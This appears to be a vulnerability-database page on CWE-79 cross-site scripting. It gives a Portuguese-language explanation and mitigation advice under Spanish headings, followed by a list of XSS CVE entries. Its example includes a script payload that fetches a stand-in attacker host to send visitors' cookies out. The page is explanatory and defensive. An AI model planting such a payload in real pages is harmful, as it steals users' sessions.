Fallos del tipo CWE-79

28.986 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-0829HIGHCross-Site Scripting (XSS) vulnerability in PleskEPSS 0.6%CVE-2022-40846MEDIUMIn Tenda AC1200 Router model W15Ev2 V15.11.0.10(1576), a Stored Cross Site Scripting (XSS) vulnerability exists allowing an attacker to execEPSS 0.6%CVE-2024-2935MEDIUMSourceCodester Todo List in Kanban Board Add ToDo cross site scriptingEPSS 0.6%CVE-2022-1028—WordPress Security < 4.2.1 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2021-36872MEDIUMWordPress Popular Posts plugin <= 5.3.3 - Authenticated Persistent Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2021-36870MEDIUMWordPress WP Google Maps plugin <= 8.1.12 - Multiple Authenticated Persistent XSS vulnerabilitiesEPSS 0.6%CVE-2024-42898MEDIUMA cross-site scripting (XSS) vulnerability in Nagios XI 2024R1.1.4 allows attackers to execute arbitrary web scripts or HTML via a crafted pEPSS 0.6%CVE-2023-25292MEDIUMReflected Cross Site Scripting (XSS) in Intermesh BV Group-Office version 6.6.145, allows attackers to gain escalated privileges and gain seEPSS 0.6%CVE-2025-25427HIGHXSS in TP-Link TL-WR841N v14/v14.6/v14.8 Upnp pageEPSS 0.6%CVE-2022-38189MEDIUMThere is a stored cross-site scripting (XSS) vulnerability in ArcGIS API for JavaScript.EPSS 0.6%CVE-2022-23656MEDIUMCross-site scripting vulnerability in Zulip ServerEPSS 0.6%CVE-2025-29049MEDIUMCross Site Scripting vulnerability in arnog MathLive Versions v0.103.0 and before (fixed in 0.104.0) allows an attacker to execute arbitraryEPSS 0.6%CVE-2022-40672MEDIUMWordPress CPO Shortcodes plugin <= 1.5.0 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-1700MEDIUMkeerti1924 PHP-MYSQL-User-Login-System signup.php cross site scriptingEPSS 0.6%CVE-2023-26123MEDIUMVersions of the package raysan5/raylib before 4.5.0 are vulnerable to Cross-site Scripting (XSS) such that the SetClipboardText API does notEPSS 0.6%CVE-2021-32855MEDIUMvditor vulnerable to Cross-site ScriptingEPSS 0.6%CVE-2021-41095MEDIUMXSS via blocked watched word in error messageEPSS 0.6%CVE-2021-32860MEDIUMiziModal vulnerable to Cross-site ScriptingEPSS 0.6%CVE-2026-0561MEDIUMShield Security <= 21.0.8 - Unauthenticated Reflected Cross-Site Scripting via 'message' ParameterEPSS 0.6%CVE-2023-0987LOWSourceCodester Online Pizza Ordering System cross site scriptingEPSS 0.6%